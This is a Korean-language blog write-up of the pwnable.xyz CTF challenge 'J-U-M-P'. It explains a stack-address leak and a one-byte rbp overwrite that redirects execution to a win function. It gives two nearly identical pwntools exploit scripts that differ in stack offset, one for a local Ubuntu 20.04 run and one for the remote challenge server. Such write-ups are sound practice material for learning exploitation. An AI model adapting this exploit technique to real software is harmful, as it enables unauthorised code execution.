본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / J-U-M-P

스택 주소를 릭할 수 있고 rbp를 1byte overwrite할 수 있다

rbp 계산 잘해서 rbp-0x11을 1byte변조해서 win함수로 만들고 rbp-0x8로 이동해서 그쪽으로 jmp하도록 하면된다

로컬에서는 되는데 리모트에서는 안된다...

ubuntu 18.04로 해보면 익스가 되는데 오프셋 차이인 것 같다

 

ubntu 20.02

from pwn import *
#context.log_level = "debug"


#p = remote("svc.pwnable.xyz", 30012)
p = process("./j-u-m-p")
#gdb.attach(p)


def ovr_data(data):
    p.recvuntil(b"> ")
    p.send(data)

def st_leak():
    p.recvuntil(b"> ")
    p.sendline(b"3")


st_leak()
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)

main_rbp = leak - 0x108
target_ret = main_rbp - 0x8

log.info("environ: " + hex(leak))
log.info("main rbp: " + hex(main_rbp))
log.info("target addr: " + hex(target_ret))


payload = b"A" * 0x20
payload += bytes([(target_ret & 0xff) + 0x11])
ovr_data(payload)

p.recvuntil(b"> ")
p.sendline(b"123")

payload = b"1"
payload += b"\x00"
payload += b"A" * 0x1e
payload += bytes([(target_ret & 0xff) + 8])
ovr_data(payload)

p.interactive()

 

ubuntu 18.04

from pwn import *
#context.log_level = "debug"


p = remote("svc.pwnable.xyz", 30012)
#p = process("./j-u-m-p")
#gdb.attach(p)


def ovr_data(data):
    p.recvuntil(b"> ")
    p.send(data)

def st_leak():
    p.recvuntil(b"> ")
    p.sendline(b"3")


st_leak()
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)

main_rbp = leak - 0xf8
target_ret = main_rbp - 0x8

log.info("environ: " + hex(leak))
log.info("main rbp: " + hex(main_rbp))
log.info("target addr: " + hex(target_ret))


payload = b"A" * 0x20
payload += bytes([(target_ret & 0xff) + 0x11])
ovr_data(payload)

p.recvuntil(b"> ")
p.sendline(b"123")

payload = b"1"
payload += b"\x00"
payload += b"A" * 0x1e
payload += bytes([(target_ret & 0xff) + 8])
ovr_data(payload)

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / iape  (0) 2022.05.19
pwnable.xyz / strcat  (0) 2022.05.18
pwnable.xyz / sus  (0) 2022.05.14
pwnable.xyz / fspoo  (0) 2022.05.13
pwnable.xyz / Game  (0) 2022.05.12